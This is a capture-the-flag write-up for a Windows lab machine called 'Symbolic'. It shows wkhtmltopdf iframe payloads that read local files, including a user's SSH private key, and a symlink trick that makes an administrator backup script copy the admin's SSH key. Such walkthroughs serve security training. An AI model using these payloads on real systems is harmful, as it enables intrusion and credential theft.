Symbolic

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 4000 192.168.202.177
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-06 20:55 +08
Nmap scan report for 192.168.202.177
Host is up (0.17s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

SSH was open on this machine, which was unusual for Windows.

WebPage to PDF -> LFI

Port 80 was rather simple:

I created a HTML file with one word within it, then hosted it on my HTTP server and submitted the URL with my IP. This returned a PDF:

I downloaded the PDF and used exiftool on it to enumerate any version:

$ exiftool ac354a9d4d469ef971709095540b2f42.pdf 
ExifTool Version Number         : 12.57
File Name                       : ac354a9d4d469ef971709095540b2f42.pdf
Directory                       : .
File Size                       : 6.6 kB
File Modification Date/Time     : 2023:07:06 21:03:17+08:00
File Access Date/Time           : 2023:07:06 21:03:17+08:00
File Inode Change Date/Time     : 2023:07:06 21:03:25+08:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Title                           : 
Creator                         : wkhtmltopdf 0.12.3
Producer                        : Qt 4.8.7
Create Date                     : 2023:07:06 06:02:52-07:00
Page Count                      : 1

Googling exploits for this version show that LFI is a possibility:

The exploit here is the content of the HTML file being used. Here's my PoC:

<iframe src="C:/Windows/system32/drivers/etc/hosts">

When we host this HTML file on a HTTP server and use the website's converting feature, this is what we are returned:

This confirms that LFI works. We can edit the PoC to show all the content:

<iframe src="C:/Windows/system32/drivers/etc/hosts" height=1000 width=1000 />

Now, we just need to find the correct file to read. The website gives us a username p4yl0ad, and SSH is open, so let's try to read the user's private key.

<iframe src="C:/users/p4yl0ad/.ssh/id_rsa" height=1000 width=1000 />

Using this, we can ssh in as the user:

Privilege Escalation

Backup Script -> Symbolic Link Write

There was a C:\backup directory with a script in it:

p4yl0ad@SYMBOLIC C:\backup>dir 
 Volume in drive C has no label.
 Volume Serial Number is 5C30-DCD7

 Directory of C:\backup

03/10/2023  11:59 AM    <DIR>          .
03/10/2023  11:59 AM    <DIR>          ..
10/11/2021  09:11 PM               207 backup.ps1
07/06/2023  06:09 AM    <DIR>          logs

p4yl0ad@SYMBOLIC C:\backup>type backup.ps1 
$log = "C:\xampp\htdocs\logs\request.log" 
$backup = "C:\backup\logs"

while($true) {
        # Grabbing Backup
        copy $log $backup\$(get-date -f MM-dd-yyyy_HH_mm_s)
        Start-Sleep -s 60
}

There was a backup directory being updated, and this script was running once every minute or so. The script is also owned by the administrator:

p4yl0ad@SYMBOLIC C:\backup>icacls backup.ps1
backup.ps1 SYMBOLIC\Administrator:(I)(F)
           NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Administrators:(I)(F)
           BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

We also have write access over C:\xampp\htdocs\logs\request.log, meaning that we can create a symbolic link to make the script read and copy any file we want. Again, since SSH is open, we can attempt to get the admin's private key.

First we need to delete the logs directory:

p4yl0ad@SYMBOLIC C:\xampp\htdocs>del logs 
C:\xampp\htdocs\logs\*, Are you sure (Y/N)? y

We cannot create a symbolic link to the private SSH key using conventional means because we aren't given access:

p4yl0ad@SYMBOLIC C:\backup>powershell -c New-item -ItemType SymbolicLink -Path "C:/xampp/htdocs/logs/request.log" -T
arget "C:/users/administrator/.ssh/id_rsa"
New-item : Access is denied
At line:1 char:1
+ New-item -ItemType SymbolicLink -Path C:/xampp/htdocs/logs/request.lo ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\users\administrator\.ssh\id_rsa:String) [New-Item], Unauthoriz  
   edAccessException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.NewItemCommand        
 
New-item : Cannot find path 'C:\users\administrator\.ssh\id_rsa' because it does not exist.
At line:1 char:1
+ New-item -ItemType SymbolicLink -Path C:/xampp/htdocs/logs/request.lo ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (C:\users\administrator\.ssh\id_rsa:String) [New-Item], ItemNotFound  
   Exception
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.NewItemCommand

We can create a junction however:

p4yl0ad@SYMBOLIC C:\xampp\htdocs\logs>dir 
 Volume in drive C has no label. 
 Volume Serial Number is 5C30-DCD7

 Directory of C:\xampp\htdocs\logs

07/06/2023  06:22 AM    <DIR>          .
07/06/2023  06:22 AM    <DIR>          ..
07/06/2023  06:22 AM    <JUNCTION>     request.log [C:\Users\Administrator\.ssh\id_rsa]

But the above won't work. What worked was CreateSymlink.exe from this repo:

We can download and upload that binary. Then, we can run it:

p4yl0ad@SYMBOLIC C:\Windows\Tasks>.\CreateSymlink.exe "C:\xampp\htdocs\logs\request.log" "C:\users\administrator\.ss
h\id_rsa"
Opened Link \RPC Control\request.log -> \??\C:\users\administrator\.ssh\id_rsa: 00000174 
Press ENTER to exit and delete the symlink

I waited for a while and then deleted the symlink. When we check the C:\backup\logs directory's newest file that is significantly larger than the rest, we find an SSH key:

Then, use this key to ssh in as the administrator:

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